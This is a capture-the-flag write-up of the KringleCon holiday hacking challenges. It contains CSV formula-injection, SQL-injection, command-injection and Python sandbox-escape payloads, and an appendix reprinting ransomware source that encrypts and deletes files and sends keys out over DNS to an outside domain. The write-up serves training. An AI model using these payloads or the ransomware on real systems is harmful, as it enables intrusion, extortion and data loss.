clear          | clear [all|num]             | clear all or specific filter num
================================================================================
: dump
[+] saved variables to powershell_var_script_dump/variable_values.txt

================ Filters ================
1| LENGTH  len(variable_values) == 512
```

Content is encrypted, before doing anything further, create a PFX file so I can decrypt the content:

```
& 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' pkcs12 -export -out server.pfx -inkey
server.key -in server.crt -passout pass:jallafisk
```

In order to decrypt, I took pieces from the malware source code and stitched together a nice little script:

decoder.ps1

```
# Step 5: Decrypting (taking basis in p_k_e function
function pkdec($encstring){
   $cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2("C:\Kringlecon\ELF
Forensics\server.pfx", "jallafisk")
   $decrypted = $cert.PrivateKey.Decrypt($encstring,
[System.Security.Cryptography.RSAEncryptionPadding]::OaepSHA1)
   return $decrypted
}

# Payload is chunk from dump with size 512
$payload =
"3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc4
4b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2
df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf0197
89950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e
6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861
678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a84
79cf911d7d47681a77152563906a2c29c6d12f971"

$enc = $(H2B $payload)
$thekey = $(pkdec $enc)
Write-Host $thekey

$(e_d_file $thekey "C:\Kringlecon\ELF Forensics\alabaster_passwords.elfdb.wannacookie"
$false)
```

The password database decrypts as a SQLite3 database. Opening it and finding passwords was easy:

```
PS C:\Kringlecon\ELF Forensics> C:\users\user\Downloads\sqlite\sqlite-tools-win32-x86-3260000\sqlite3.exe
SQLite version 3.26.0 2018-12-01 12:34:55
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open alabaster_passwords.elfdb
sqlite> .dt
Error: unknown command or invalid arguments:  "dt". Enter ".help" for help
sqlite> .tables
passwords
sqlite> select * from passwords
   ...> ;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com
sqlite>
```

Answer

Alabasters password is: ED#ED#EED#EF#G#F#G#ABA#BA#B

The above code is included in Appendix B for easier reading.

Objective 8: Network Traffic Forensics

Mission

Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.

Methodology

- Registered at https://packalyzer.kringlecastle.com/
- Spent some time getting familiar with the Packalyzer interface
- Looked at the HTML source. From inspecting where stylesheets and Javascripts are loaded from, I gathered that most of the application lives in the /pub folder. Directory listings seems disabled on this server, at least for this folder.
- Found and interesting comment buried in the HTML code:

```
//File upload Function. All extensions and sizes are validated server-side in app.js
```

- Visited https://packalyzer.kringlecastle.com/pub/app.js and found these three things in the source:

```
... Snippet start ...
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE
)
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',       // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  },
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time
};

... Snippet start ...

mongoose.connect('mongodb://localhost:27017/packalyzer',{ useNewUrlParser: true });

... Snippet start ...

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
    }
  }
  return uniqueArray(dirs)
}
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];
}
```

From this I read:

- Both process.env.DEV and process.env.SSLKEYLOGFILE are processed as folder/directory names, e.g. they can be browsed to.
- Fun fact: Packalyzer is MongoDB based. Might come in handy. Who knows?

Visiting https://packalyzer.kringlecastle.com/DEV/ shows an error:

```
Error: EISDIR: illegal operation on a directory, read
```

Which means directory listing is disabled. Moved on visting https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/, which also showed an error:

```
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
```

Remembering back to the line

```
__dirname + process.env.DEV + process.env.SSLKEYLOGFILE
```

DEV and SSLKEYLOGFILE seems to be concatenated! Tried visiting https://packalyzer.kringlecastle.com/DEV/http2packalyzer_clientrandom_ssl.log, but got this error message:

```
Error: ENOENT: no such file or directory, open '/opt/http2/dev//http2packalyzer_clientrandom_ssl.log'
```

Tried my luck removing "http2" from the "http2packalyzer_clientrandom_ssl.log" string. Visiting https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log instead and got a bunch of strings looking like:

```
CLIENT_RANDOM
C04F1FA16E7B45877780E01DA24CAB5A304D1759D19C59D9ED448F9A97C48E89
D5EF25F3173DFD0454799617081861871 8D58AC0C18741C2206C7A911006BAA5CDC3254F92
4976B158106BDB3357114E
```

Looked like something to decrypt communication with in Wireshark. Downloaded it to my local machine. Then ran back to Packalyzer and sniffed some traffic, then downloaded the PCAP locally.

Wiresharking

Opened the PCAP in Wireshark

Setting/configuring Wireshark to decrypt traffic using packalyzer_clientrandom_ssl.log file:

Edit > Preferences > Protocols > SSL > (Pre)-Master-Secret log filename

Applied Display Filter "http2.data.data" and traversed all the "application/json" entries. Eventually I found "alabasters" credentials:

- **Username: alabaster**
- **Password: Packer-p@re-turntable192**

Used these to log in to Packalyzer as alabaster. Found he had a PCAP (super_secret_packet_capture.pcap), downloaded and opened it in Wireshark. Then clicked on a random line and selected "Follow TCP stream". Found an interesting hint:

Hey alabaster,

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

Also found a very large Base64 encoded string. Converted it:

```
cat obj8.txt | base64 -d > out
file out
```

The Base64 encoded text decodes to an PDF (as pr. file command).

```
mv out out.pdf
```

Answer

The song mentioned in the PDF is "Mary Had A Little Lamb"

Objective 7: HR Incident Response

Mission

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K." For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.

Methodology

Investigation of website

Upon upload of CSV the site prints the following text:

> Thank you for taking the time to upload your information to our elf resources shared workshop station! Our elf resources will review your CSV work history within the next few minutes to see if you qualify to join our elite team of InfoSec Elves. If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx

Looking at the HTML source the upload seems to be handled by postrequest.js Javascript. Looking into it, it posts the CSV to path /api/upload/application.

Visiting https://careers.kringlecastle.com/api/upload/application yields a 404 error page with the following message:

> 404 Error!
>
> Publicly accessible file served from: C:\careerportal\resources\public\ not found……
>
> Try: https://careers.kringlecastle.com/public/'file name you are looking for'

Interesting stuff:

- Source file: C:\candidate_evaluation.docx
- Upload path: /api/upload/application
- Download path on disk: C:\careerportal\resources\public\
- Download path: https://careers.kringlecastle.com/public/filename

Exploiting CSV

From this information I crafted a plan to move file c:\candidate_evaluation.docx to c:\careerportal\resources\public by using a poisonous CSV file. Then simply download the file. Crafted a CSV containing:

```
=cmd|' /C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\jallafisk.doc'!A1
```

Downloading file was just as simple as in Firefox go to https://careers.kringlecastle.com/public/jallafisk.doc. Then opened it in Word and found this:

> Krampus's career summary included experience hardening decade old attack vectors, and lacked updated skills to meet the challenges of attacks against our beloved Holidays.
>
> Furthermore, there is intelligence from the North Pole this elf is linked to cyber terrorist organization Fancy Beaver who openly provides technical support to the villains that attacked our Holidays last year.
>
> We owe it to Santa to find, recruit, and put forward trusted candidates with the right skills and ethical character to meet the challenges that threaten our joyous season.

Answer

Krampus is associated with the cyber terrorist organization Fancy Beaver

Objective 6: Badge Manipulation

Mission

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Methodology

1. Found a nice site to generate QR codes
2. Entered junk SQL into the generator
3. Uploaded the QR image
4. Inspected the source to get the SQL error message
5. Copied SQL error message and inserted the following SQL:

```
' or authorized=1 and enabled=1 limit 1#
```

1. Re made a new QR containing my SQL payload
2. Uploaded the QR
3. Success!

Answer

Control number is 19880715

Objective 5: AD Privilege Discovery

Mission

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What's the user's logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

Methodology

- Download SANS Slingshot Linux image
- Import OVA image into VirtualBox
- Change from "Debian 32 bits" to "Debian 64 bits" architecture
- Run the image

Once inside the image:

- Double click on "Bloodhound" icon on desktop
- From the **"hamburger"** menu > Click on **"Queries"** tab > Click on **"Shortest Paths to Domain Admins from Kerberoastable Users"** > Click **"DOMAIN ADMINS@AD.KRINGLECASTE.COM"**
- Let "Bloodhound" do its magic

From the graph shown one user sticks out:

- User **"LDUBEJ00320@AD.KRINGLECASTLE.COM (Leanne Dubej)"**
- Member of "IT_00332@AD.KRINGLECASTLE.COM"
- Can admin to "COMP00185.AD.KRINGLECASTE.COM"
- Has session on "JBETAK00084@AD.KRINGLECASTLE.COM"
- Is a member of "DOMAIN ADMINS@AD.KRINGLECASTLE.COM"

Answer

User "LDUBEJ00320@AD.KRINGLECASTLE.COM (Leanne Dubej)"

Objective 4: Data Repo Analysis

Mission

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.

Methodology

```
git log
git log show
git log show 714ba109e573f37a6538beeeb7d11c9391e92a72
```

Answer

Password is: Yippee-ki-yay

Objective 3: De Bruijn Sequences

Mission

When you break into the speaker unpreparedness room, what does Morcel Nougat say? For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.

Solved this manually without scripting.

Methodology

1. Used Hakank.org to calculate sequences
2. Used de Bruijn sequence k=4 and n=4
3. Copied the given sequence into Sublime Text Editor and replaced integer values with either "Triangle", "Square", "Circle" and "Star"
4. Entered the sequences manually until landing on pattern: **TRIANGLE SQUARE CIRCLE STAR**

Answer

TRIANGLE SQUARE CIRCLE STAR

Objective 2: Directory Browsing

Mission

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.

Methodology

1. Visit cp.kringlecastle.com, click on "Apply now" button on that page
2. Remove "cfp.html" from the URL. Should reveal directory listing.
3. Click on and view file "rejected-talks.csv"
4. Hunt for document "Data Loss for Rainbow Teams: A Path in the Darkness"

Answer

The guy who submitted the rejected talk "Data Loss for Rainbow Teams: A Path in the Darkness" was John McClane

Objective 1: Orientation Challenge

Mission

What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.

Question 1

In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

Answer: Firmware.

Question 2

In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?_

Answer: Atnas

Question 3

In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

Answer: Business card

Question 4

In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

Answer: Cranberry Pi

Question 5

In 2017, the North Pole was being bombarded by giant objects. What were they?

Answer: Snowballs

Question 6

In 2017, Sam the snowman needed help reassembling pages torn from what?

Answer: The Great Book

The secret phrase: **Happy Trails**

Terminals

Bushy Evergreen: Essential Editor Skills Cranberry Pi terminal

Mission

I'm in a quite a fix, I need a quick escape. Pepper is quite pleased, while I watch here, agape. Her editor's confusing, though "best" she says - she yells! My lesson one and your role is exit back to shellz.

- Bushy Evergreen

Exit vi.

Methodology

1. Enter good old Vim escape sequence: ESC+colon
2. Enter good old quit command: q!

Output

You did it! Congratulations!

Minty Candycane: The Name Game Cranberry Pi terminal

Mission

We just hired this new worker, Californian or New Yorker? Think he's making some new toy bag… My job is to make his name tag. Golly gee, I'm glad that you came, I recall naught but his last name! Use our system or your own plan, Find the first name of our guy "Chan!" -Bushy Evergreen To solve this challenge, determine the new worker's first name and submit to runtoanswer.

Methodology

1. Enter option 2 from the menu
2. Enter the following command: 127.0.0.1; cat onboard.db
3. Wait for the ping to finish
4. Copy the DB content to a separate editor (in my case, Sublime Text Editor)
5. Search for "chan"
6. Once Scott has been found, execute this command: 127.0.0.1;./runtoanswer
7. Enter "scott" when prompted

Output

Enter Mr. Chan's first name: Scott

"Hello Scott" ASCII art here (omitted)

Congratulations!

Tangle Coalbox - Lethal Forensic Elfication Cranberry Pi terminal

Mission

Christmas is coming, and so it would seem, ER (Elf Resources) crushes elves' dreams. One tells me she was disturbed by a bloke. He tells me this must be some kind of joke. Please do your best to determine what's real. Has this jamoke, for this elf, got some feels? Lethal forensics ain't my cup of tea; If YOU can fake it, my hero you'll be. One more quick note that might help you complete, Clearing this mess up that's now at your feet. Certain text editors can leave some clue. Did our young Romeo leave one for you? - Tangle Coalbox, ER Investigator Find the first name of the elf of whom a love poem was written. Complete this challenge by submitting that name to runtoanswer.

Methodology

```
ls -la
cat .viminfo
```

Snippet from .viminfo:

```
elf@a03221d21f26:~$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!

# Viminfo version
|1,4

# Value of 'encoding' when this file was written
*encoding=utf-8


# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore

# Last Substitute String:
$NEVERMORE

# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
:q
```

Answer is **Elinore**

Output

Thank you for solving this mystery, Slick. Reading the .viminfo sure did the trick. Leave it to me; I will handle the rest. Thank you for giving this challenge your best. -Tangle Coalbox -ER Investigator Congratulations!

Wunorse Openslae - Stall Mucking Report Cranberry Pi terminal

Mission

Thank you Madam or Sir for the help that you bring! I was wondering how I might rescue my day. Finished mucking out stalls of those pulling the sleigh, My report is now due or my KRINGLE's in a sling! There's a samba share here on this terminal screen. What I normally do is to upload the file, With our network credentials (we've shared for a while). When I try to remember, my memory's clean! Be it last night's nog bender or just lack of rest, For the life of me I can't send in my report. Could there be buried hints or some way to contort, Gaining access - oh please now do give it your best! -Wunorse Openslae Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/

Methodology

- Used the following code:

```
ps aux | more
smbclient -U report-upload%directreindeerflatterystable //localhost/report-upload/ -c 'put "report.txt"'
```

- Copied output from ps -aux to Sublime Text editor to find the password

Output

You have found the credentials I just had forgot, And in doing so you've saved me trouble untold. Going forward we'll leave behind policies old, Building separate accounts for each elf in the lot. -Wunorse Openslae

Holly Evergreen - CURLing Master Cranberry Pi terminal

Mission

I am Holly Evergreen, and now you won't believe: Once again the striper stopped; I think I might just leave! Bushy set it up to start upon a website call. Darned if I can CURL it on - my Linux skills apall. Could you be our CURLing master - fixing up this mess? If you are, there's one concern you surely must address. Something's off about the conf that Bushy put in place. Can you overcome this snag and save us all some face? Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again. You may view the contents of the nginx.conf file in /etc/nginx/, if helpful.

Methodology

- Used the following code:

```
curl --http2 http://localhost:8080/index.php -v --http2-prior-knowledge
curl --http2 v --http2-prior-knowledge -H "Content-Type: application/x-www-form-urlencoded" -d "status=on" http://localhost:8080/index.php
```

Output

<html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on"

Thumbs up ASCII art here (omitted)

Unencrypted 2.0? He's such a silly guy. That's the kind of stunt that makes my OWASP friends all cry. Truth be told: most major sites are speaking 2.0; TLS connections are in place when they do so. -Holly Evergreen <p>Congratulations! You've won and have successfully completed this challenge. <p>POSTing data in HTTP/2.0. </body> </html>

Pepper Minstix: Yule Log Analysis Cranberry Pi terminal

Mission

I am Pepper Minstix, and I'm looking for your help. Bad guys have us tangled up in pepperminty kelp! "Password spraying" is to blame for this our grinchly fate. Should we blame our password policies which users hate? Here you'll find a web log filled with failure and success. One successful login there requires your redress. Can you help us figure out which user was attacked? Tell us who fell victim, and please handle this with tact…

Submit the compromised webmail username to runtoanswer to complete this challenge.

Methodology

- Export the event log to XML (Windows Security Log)

```
ls
python evtx_dump.py ho-ho-no.evtx > log.xml
```

- Concentrate on Event Id's:
  - 4625 - An account failed to log on
  - 4624 - An account was successfully logged on
- First finding failed logins, then limit the output to show whole event:

```
cat log.xml | grep ">4625<" -C 50
cat log.xml | grep ">4625<" -C 50 -B 1 -A 37
```

- Finding when the spray happened

```
cat log.xml | grep ">4625<" -C 50 -B 1 -A 37 | grep -E "TimeCreated"
```

- Spray happened between 13:03 and 13:05
- Identify where the spray might have come from

```
cat log.xml | grep ">4625<" -C 50 -B 1 -A 37 | grep "WorkstationName"
```

- Workstation "WIN-KCON-EXCH16" appears to be the source
- Extend the search adding the workstation and focusing on successfull logons:

```
cat log.xml | grep ">4624<" -C 50 -B 1 -A 37 | grep ">WIN-KCON-EXCH16<" -A 9 -B 29
```

- Extend to include usernames:

```
cat log.xml | grep ">4624<" -C 50 -B 1 -A 37 | grep ">WIN-KCON-EXCH16<" -A 9 -B 29 | grep TargetUserName
```

- Excluding usernames resembling "HealthMailboxbe":

```
cat log.xml | grep ">4624<" -C 50 -B 1 -A 37 | grep ">WIN-KCON-EXCH16<" -A 9 -B 29 | grep "TargetUserName" | grep -v "HealthMailbox"
```

- Narrowing down to timeperiod:

```
cat log.xml | grep ">4624<" -C 50 -B 1 -A 37 | grep ">WIN-KCON-EXCH16<" -A 9 -B 29 | grep -E "13:03|13:04|13:05" -A 31 -B 7 | grep "TargetUserName" | grep -v "HealthMailbox"
```

- Found user "minty.candycane"
- Validating the finding

```
./runtoanswer
```

Output

Silly Minty Candycane, well this is what she gets. "Winter2018" isn't for The Internets. Passwords formed with season-year are on the hackers' list. Maybe we should look at guidance published by the NIST? Congratulations!

Sparkle Redberry - Dev Ops Fail Cranberry Pi terminal

Mission

Coalbox again, and I've got one more ask. Sparkle Q. Redberry has fumbled a task. Git pull and merging, she did all the day; With all this gitting, some creds got away. Urging - I scolded, "Don't put creds in git!" She said, "Don't worry - you're having a fit. If I did drop them then surely I could, Upload some new code done up as one should." Though I would like to believe this here elf, I'm worried we've put some creds on a shelf. Any who's curious might find our "oops," Please find it fast before some other snoops! Find Sparkle's password, then run the runtoanswer tool.

Methodology

- Used the following commands to inspect the Git log and retrieve the password:

```
git log
git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b
```

- Found the following in the commit:

```
-// Database URL-module.exports = {- 'url' :
'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'-};
```

Output

This ain't "I told you so" time, but it's true: I shake my head at the goofs we go through. Everyone knows that the gits aren't the place; Store your credentials in some safer space. Congratulations!

SugarPlum Mary - Python Escape from LA Cranberry Pi terminal

Mission

I'm another elf in trouble, Caught within this Python bubble. Here I clench my merry elf fist - Words get filtered by a black list! Can't remember how I got stuck, Try it - maybe you'll have more luck? For this challenge, you are more fit. Beat this challenge - Mark and Bag it! -SugarPlum Mary To complete this challenge, escape Python and run ./i_escaped

Methodology

- Used the following code:

```
eval("__imXpoXrt__('os').syXsXtem('/bin/sh')".replace("X",""), {})
```

Then running the command:

```
./i_escaped
```

Output

```
 ____        _   _
|  _ \ _   _| |_| |__   ___  _ __
| |_) | | | | __| '_ \ / _ \| '_ \
|  __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __   ___  __| | |
|  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) |  __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
                    |_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
```

You escaped! Congratulations!

Shinny Upatree - Sleigh Bell Lottery Cranberry Pi terminal

Mission

I'll hear the bells on Christmas Day Their sweet, familiar sound will play But just one elf, Pulls off the shelf, The bells to hang on Santa's sleigh! Please call me Shinny Upatree I write you now, 'cause I would be The one who gets - Whom Santa lets The bells to hang on Santa's sleigh! But all us elves do want the job, Conveying bells through wint'ry mob To be the one Toy making's done The bells to hang on Santa's sleigh! To make it fair, the Man devised A fair and simple compromise. A random chance, The winner dance! The bells to hang on Santa's sleigh! Now here I need your hacker skill. To be the one would be a thrill! Please do your best, And rig this test The bells to hang on Santa's sleigh! Complete this challenge by winning the sleighbell lottery for Shinny Upatree.

Methodology

- Using command nm to find function
- Using GDB to jump around in the program

```
nm sleighbell-lotto, found function winnerwinner
gdb -q sleighbell-lotto
```

Whilst inside GDB, I sat a breakpoint on main function and jumped to the "winnerwinner" function:

```
break main
run
jump winnerwinner
```

Output

With gdb you fixed the race. The other elves we did out-pace. And now they'll see. They'll all watch me. I'll hang the bells on Santa's sleigh! Congratulations! You've won, and have successfully completed this challenge.

Appendix

Appendix A: Ransomware source code

ransomware.ps1

```
$functions = {
  function e_d_file($key, $File, $enc_it) {
    [byte[]]$key = $key
    $Suffix = "`.wannacookie"
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
    [System.Int32]$KeySize = $key.Length*8
    $AESP = New-Object 'System.Security.Cryptography.AesManaged'
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $AESP.BlockSize = 128
    $AESP.KeySize = $KeySize
    $AESP.Key = $key
    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)

    if ($enc_it) {
      $DestFile = $File + $Suffix
    } else {
      $DestFile = ($File -replace $Suffix)
    }

    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)

    if ($enc_it) {
      $AESP.GenerateIV()
      $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
      $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
      $Transform = $AESP.CreateEncryptor()
    } else {
      [Byte[]]$LenIV = New-Object Byte[] 4
      $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
      $FileSR.Read($LenIV,  0, 3) | Out-Null
      [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0)
      [Byte[]]$IV = New-Object Byte[] $LIV
      $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
      $FileSR.Read($IV, 0, $LIV) | Out-Null
      $AESP.IV = $IV
      $Transform = $AESP.CreateDecryptor()
    }

    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform,
[System.Security.Cryptography.CryptoStreamMode]::Write)
    [Int]$Count = 0
    [Int]$BlockSzBts = $AESP.BlockSize / 8
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts
```

```
        Do {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts)
            $CryptoS.Write($Data, 0, $Count)
        } While ($Count -gt 0)
            $CryptoS.FlushFinalBlock()
            $CryptoS.Close()
            $FileSR.Close()
            $FileSW.Close()
            Clear-variable -Name "key"
            Remove-Item $File
        }
}

function H2B {
    param($HX)

    $HX = $HX -split '(..)' | ? {
        $_
    }

    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
}

function A2H(){
    Param($a)
    $c = ''
    $b = $a.ToCharArray()

    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    }
    return $c -replace ' '
}

function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? {
        $_
    } | forEach {
        [char]([convert]::toint16($_,16))
    } | forEach {
        $outa = $outa + $_
    }
```

```
    return $outa
}

function B2H {
    param($DEC)
    $tmp = ''

    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value

        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
        $tmp += $a
        }
    }
    return $tmp
}

function ti_rox {
    param($b1, $b2)
    $b1 = $(H2B $b1)
    $b2 = $(H2B $b2)
    $cont = New-Object Byte[] $b1.count

    if ($b1.count -eq $b2.count) {
        for($i=0; $i -lt $b1.count; $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }
    }
    return $cont
}

function B2G {
    param([byte[]]$Data)
    Process {
        $out = [System.IO.MemoryStream]::new()
        $gStream = New-Object System.IO.Compression.Gz  ipStream $out,
([IO.Compression.CompressionMode]::Compress)
        $gStream.Write($Data, 0, $Data.Length)
        $gStream.Close()
        return $out.ToArray()
    }
}

function G2B {
    param([byte[]]$Data)
    Process {
```

```
        $SrcData = New-Object System.IO.MemoryStream( , $Data )
        $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData,
([IO.Compression.CompressionMode]::Decompress)
        $gStream.CopyTo( $output )
        $gStream.Close()
        $SrcData.Close()
        [byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}

function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder
    [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash
([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    }
    $SB.ToString()
}

function p_k_e($key_bytes, [byte[]]$pub_bytes){
    $cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2
    $cert.Import($pub_bytes)
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true)
    return $(B2H $encKey)
}

function e_n_d {
    param($key, $allfiles, $make_cookie )
    $tcount = 12

    for ( $file=0; $file -lt $allfiles.length; $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object {
                $_.State -eq 'Running'
            })

            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                param($key, $File, $true_false)

                try{
                    e_d_file $key $File $true_false
                } catch {
                    $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt')
-append
```

```
            }
        } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions
            break
        } else {
            Start-Sleep -m 200
            continue
        }
    }
  }
}

function g_o_dns($f) {
  $h = ''

  foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "
$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
    $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT
).Strings
  }

  return (H2A $h)
}

function s_2_c($astring, $size=32) {
  $new_arr = @()
  $chunk_index=0

  foreach($i in 1..$($astring.length / $size)) {
    $new_arr += @($astring.substring($chunk_index,$size))
    $chunk_index += $size
  }
  return $new_arr
}

function snd_k($enc_k) {
  $chunks = (s_2_c $enc_k )

  foreach ($j in $chunks) {
    if ($chunks.IndexOf($j) -eq 0) {
      $n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "
$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
    } else {
      $(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.
$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
    }
  }

  return $n_c_id
```

```
}

function wanc {
   $S1 =
"1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
   if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1)))
$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com
-Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
      return
   }

   if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject
Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
      return
   }

   $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) )
   $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char
[]]([char]01..[char]255)) + 0..9 | sort {
      Get-Random
   })[0..15] -join '')) | ? {
      $_ -ne 0x00
   })

   $h_k = $(B2H $b_k)
   $k_h = $(sh1 $h_k)
   $p_k_e_k = (p_k_e $b_k $p_k).ToString()
   $c_id = (snd_k $p_k_e_k)
